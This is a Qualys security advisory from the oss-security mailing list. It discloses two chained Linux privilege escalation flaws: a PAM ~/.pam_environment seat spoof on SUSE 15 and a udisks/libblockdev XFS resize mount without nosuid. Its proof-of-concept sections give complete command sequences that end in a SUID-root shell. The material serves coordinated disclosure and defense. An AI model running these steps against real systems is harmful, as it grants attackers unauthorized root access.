![]() |
|
Message-ID: <20250617195937.GA14637@localhost.localdomain> Date: Tue, 17 Jun 2025 20:00:59 +0000 From: Qualys Security Advisory <qsa@...lys.com> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com> Subject: CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks Qualys Security Advisory CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15's PAM CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks ======================================================================== Contents ======================================================================== Summary CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15's PAM - Analysis - Proof of concept - Digression CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks - Analysis - Proof of concept Acknowledgments Timeline ======================================================================== Summary ======================================================================== We discovered an LPE vulnerability (a Local Privilege Escalation) in the PAM configuration of openSUSE Leap 15 and SUSE Linux Enterprise 15: an unprivileged local attacker (e.g., an attacker who logs in via sshd) can obtain the privileges of a physical "allow_active" user (i.e., a user who is physically sitting in front of the computer) and can therefore perform all the "allow_active yes" polkit actions that are normally reserved for physical users. We also discovered another LPE vulnerability in libblockdev, trivially exploitable via the udisks daemon, which is installed by default on most Linux distributions: an "allow_active" user (e.g., a physical user, or an attacker who hijacked the session of a physical user, or an attacker who first exploited a vulnerability such as CVE-2025-6018 from this advisory) can obtain the full privileges of the root user. We usually prefer LPEs from *any* unprivileged user to full root (instead of an LPE from an "allow_active" user to full root, like this CVE-2025-6019), but: - when combined with the first LPE from this advisory (CVE-2025-6018), this second LPE (CVE-2025-6019) effectively allows an *unprivileged* attacker to obtain full root privileges; - several high-profile vulnerabilities published recently also require the privileges of an "allow_active" user to be successfully exploited; for example, the following outstanding write-ups by Rory McNamara, Matthias Gerstner, and Attila Szasz: https://snyk.io/blog/abusing-ubuntu-root-privilege-escalation/ https://security.opensuse.org/2024/11/26/tuned-instance-create.html https://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/ Last-minute update: on May 25, 2025, Pumpkin Chang published a must-read blog post about D-Bus and Polkit, which is particularly relevant to this advisory because it contains a trick ("Abuse Rule Limitations") that can allow an unprivileged local attacker (who logs in via sshd for example) to obtain the privileges of a physical "allow_active" user; for more information: https://u1f383.github.io/linux/2025/05/25/dbus-and-polkit-introduction.html ======================================================================== CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15's PAM ======================================================================== ________________________________________________________________________ Analysis ________________________________________________________________________ During our recent work on OpenSSH, we noticed that, when an unprivileged user logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15: - PAM's pam_env module (from Linux-PAM 1.3.0) reads this user's ~/.pam_environment file by default (i.e., pam_env's "user_readenv" configuration option is 1 by default); - the pam_env module is called first, by sshd's do_pam_setcred(), as part of PAM's "auth" stack (from /etc/pam.d/common-auth); - the pam_systemd module is called later, by sshd's do_pam_session(), as part of PAM's "session" stack (from /etc/pam.d/common-session). Consequently, an unprivileged attacker who logs in via sshd can force the pam_env module to add arbitrary variables to PAM's environment (by first writing them to ~/.pam_environment), and these variables are then returned to the pam_systemd module by pam_getenv(). In particular, the pam_systemd module calls pam_getenv() for the XDG_SEAT and XDG_VTNR variables, which immediately reminded us of Jann Horn's excellent CVE-2019-3842 in systemd: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1812316 In a nutshell, by setting XDG_SEAT=seat0 and XDG_VTNR=1 in ~/.pam_environment, an unprivileged attacker who logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15 can pretend that they are, in fact, a physical user who is sitting in front of the computer; i.e., an "allow_active" user, in polkit parlance. ________________________________________________________________________ Proof of concept ________________________________________________________________________ As a concrete result, such an attacker can then perform all the "allow_active yes" polkit actions that are normally reserved for physical users. For example, in the following proof of concept, the attacker calls systemd-logind's CanReboot() method to determine whether they are authenticated as an unprivileged "allow_any" user (CanReboot() returns "challenge") or as a physical "allow_active" user (CanReboot() returns "yes"): ------------------------------------------------------------------------ attacker# ssh -i id_ed25519 nobody@...tim victim> grep PRETTY_NAME= /etc/os-release PRETTY_NAME="openSUSE Leap 15.6" victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) victim> cat /usr/share/polkit-1/actions/org.freedesktop.login1.policy ... <action id="org.freedesktop.login1.reboot"> <description gettext-domain="systemd">Reboot the system</description> ... <allow_any>auth_admin_keep</allow_any> <allow_inactive>auth_admin_keep</allow_inactive> <allow_active>yes</allow_active> ... victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('challenge',) victim> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment victim> exit attacker# ssh -i id_ed25519 nobody@...tim victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------ Last-minute note: SUSE Linux Enterprise Server 15 uses "restrictive" polkit settings, instead of the "standard" settings; consequently, we must call CanSuspend() (which is "auth_admin_keep:auth_admin_keep:yes") instead of CanReboot() (which is "auth_admin_keep") to determine whether we are authenticated as a physical "allow_active" user or not. We will explore one easy way to transform this minor LPE (from an unprivileged user to an "allow_active" user) into a full root LPE, in the next section of this advisory; but first, a brief digression. ________________________________________________________________________ Digression ________________________________________________________________________ On Debian 12 and Ubuntu 24.04, when an unprivileged user logs in via sshd, PAM's pam_env module (from Linux-PAM 1.5.x) also reads this user's ~/.pam_environment file, because pam_env's "user_readenv" is explicitly set to 1 in /etc/pam.d/sshd (it is 0 by default, since Linux-PAM 1.4.0). However, unlike openSUSE Leap and SUSE Linux Enterprise, Debian and Ubuntu only call the pam_env module at the very end of PAM's "session" stack, so this user's arbitrary PAM variables (from ~/.pam_environment) cannot interfere with the pam_sm_open_session() code of the pam_systemd module. Nevertheless, we noticed that, by setting the XDG_SESSION_ID variable (in ~/.pam_environment) to another user's session id, an unprivileged local attacker can interfere with the pam_sm_close_session() code of the pam_systemd module, and hence with this other user's session (mark it as "closing" instead of "active", and delete its .ref FIFO, for example): ------------------------------------------------------------------------ attacker$ ssh evey@...tim evey@...tim's password: victim$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Ubuntu 24.04.2 LTS" victim$ id uid=1001(evey) gid=1001(evey) groups=1001(evey),100(users) victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 314 May 13 21:25 4 prw------- 1 root root 0 May 13 21:25 4.ref -rw-r--r-- 1 root root 310 May 13 21:33 6 prw------- 1 root root 0 May 13 21:33 6.ref victim$ cat /run/systemd/sessions/4 # This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=active ... FIFO=/run/systemd/sessions/4.ref ... victim$ echo 'XDG_SESSION_ID OVERRIDE=4' > .pam_environment victim$ exit attacker$ ssh evey@...tim evey@...tim's password: victim$ exit attacker$ ssh evey@...tim evey@...tim's password: victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 313 May 13 22:13 16 prw------- 1 root root 0 May 13 22:13 16.ref -rw-r--r-- 1 root root 315 May 13 22:04 4 victim$ cat /run/systemd/sessions/4 # This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=closing ... TTY=pts/0 TTY_VALIDITY=from-utmp ... ------------------------------------------------------------------------ We were unable to transform this interference with pam_systemd's pam_sm_close_session() into an LPE, but maybe more creative minds will. In any case, we recommend that all Linux distributions explicitly set pam_env's "user_readenv" to 0 (if not 0 by default); indeed, and as highlighted in the latest versions of pam_env's man page: ------------------------------------------------------------------------ user_readenv=0|1 Turns on or off the reading of the user specific environment file. 0 is off, 1 is on. By default this option is off as user supplied environment variables in the PAM environment could affect behavior of subsequent modules in the stack without the consent of the system administrator. Due to problematic security this functionality is deprecated since the 1.5.0 version and will be removed completely at some point in the future. ------------------------------------------------------------------------ ======================================================================== CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks ======================================================================== ________________________________________________________________________ Analysis ________________________________________________________________________ Armed with our "unprivileged to allow_active" LPE, we obviously decided to hunt for an "allow_active to root" LPE, and therefore grepped for "allow_active yes" polkit actions: ------------------------------------------------------------------------ victim> grep -rl 'allow_active.*yes' /usr/share/polkit-1/actions /usr/share/polkit-1/actions/org.freedesktop.login1.policy /usr/share/polkit-1/actions/org.freedesktop.ModemManager1.policy /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy /usr/share/polkit-1/actions/com.redhat.tuned.policy /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy ------------------------------------------------------------------------ As lovers of filesystems and race conditions, we decided to target the udisks daemon, which is installed by default on most Linux distributions and which allows, for example, an "allow_active" user to: - set up a loop device that is backed by an arbitrary filesystem image provided by this user; - mount this arbitrary loop-backed filesystem. Naturally, to prevent such an "allow_active" user from trivially escalating their privileges to full root (by planting a SUID-root program or a special device in their filesystem image), the udisks daemon always mounts such a filesystem with the nosuid and nodev flags. Our initial idea, then, was to trick the udisks daemon into mounting a loop-backed filesystem without the nosuid and nodev flags, because these flags cross various layers of complex code before eventually reaching the kernel, and each of these layers parses and escapes these mount flags and options differently; for example, to mount an ntfs-3g filesystem via udisks, these flags and options are: - first interpreted by the udisks daemon itself; - then passed to and re-interpreted by the libblockdev; - then passed to and re-interpreted by the libmount; - then passed to and re-interpreted by the ntfs-3g program; - then passed to and re-interpreted by ntfs-3g's internal libfuse; - and finally passed to and re-interpreted by the kernel itself. However, as we were reading the code of udisks and libblockdev, we spotted a much simpler LPE: since 2017, the udisks daemon allows an "allow_active" user to resize their filesystems; and to resize an XFS filesystem (via the xfs_growfs program, which is installed by default on most Linux distributions) the udisks daemon calls the libblockdev, which temporarily mounts this XFS filesystem in /tmp (if it is not mounted elsewhere already) but *without* the nosuid and nodev flags. Consequently, an "allow_active" attacker can simply set up a loop device that is backed by an arbitrary XFS image (which contains a SUID-root shell), then request the udisks daemon to resize this XFS filesystem (which mounts it in /tmp *without* the nosuid and nodev flags), and finally execute their SUID-root shell (from their XFS filesystem in /tmp) and therefore obtain full root privileges. ________________________________________________________________________ Proof of concept ________________________________________________________________________ 1/ On our own attacker machine, as root, we create an XFS image that contains a SUID-root shell, and copy it to the victim machine: ------------------------------------------------------------------------ attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300 attacker# mkfs.xfs ./xfs.image attacker# mkdir ./xfs.mount attacker# mount -t xfs ./xfs.image ./xfs.mount attacker# cp /bin/bash ./xfs.mount attacker# chmod 04555 ./xfs.mount/bash attacker# umount ./xfs.mount attacker# scp -i id_ed25519 ./xfs.image nobody@...tim: ------------------------------------------------------------------------ 2/ We log in the victim machine, and make sure that we are authenticated as an "allow_active" user (if not, it may be necessary to first exploit another LPE such as CVE-2025-6018 from this advisory): ------------------------------------------------------------------------ attacker# ssh -i id_ed25519 nobody@...tim victim> grep PRETTY_NAME= /etc/os-release PRETTY_NAME="openSUSE Leap 15.6" victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------ 3/ We set up a loop device that is backed by our XFS image, but we first make sure that "gvfs-udisks2-volume-monitor" is not running as our user (otherwise it would automatically mount our XFS filesystem and prevent the libblockdev from mounting it itself later): ------------------------------------------------------------------------ victim> killall -KILL gvfs-udisks2-volume-monitor victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction Mapped file ./xfs.image as /dev/loop0. ------------------------------------------------------------------------ 4/ We request the udisks daemon to resize our XFS filesystem, which forces the libblockdev to mount it in /tmp without the nosuid and nodev flags, but we first run a tight loop that will keep our XFS filesystem busy and prevent it from being unmounted later by the libblockdev: ------------------------------------------------------------------------ victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null & victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy -r-sr-xr-x. 1 root root 1406608 May 13 09:42 /tmp/blockdev.RSM842/bash ------------------------------------------------------------------------ 5/ Finally, we execute our SUID-root shell (from our XFS filesystem in /tmp) and therefore obtain full root privileges: ------------------------------------------------------------------------ victim> mount ... /dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota) victim> /tmp/blockdev*/bash -p victim# id uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody) ^^^^^^^^^^^^ ------------------------------------------------------------------------ ======================================================================== Acknowledgments ======================================================================== We thank SUSE (Alexander Bergmann, Thomas Blume, Valentin Lefebvre, in particular) and Red Hat (Patrick Del Bello, Marco Benatto, Tomas Bzatek, in particular) for their work on this release. We also thank the members of the linux-distros@...nwall (Salvatore Bonaccorso and Nick Tait in particular) for their help with this release. Finally, we thank Gergely Kalman for the following inspiring presentation: https://gergelykalman.com/the-forgotten-art-of-filesystem-magic-alligatorcon-2024-slides.html ======================================================================== Timeline ======================================================================== 2025-05-14: We sent a draft of our advisory to SUSE (security@...e) and Red Hat (secalert@...hat). 2025-06-09: We sent a draft of our advisory, and SUSE's and Red Hat's patches, to the linux-distros@...nwall. 2025-06-17: Coordinated Release Date (16:00 UTC).
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.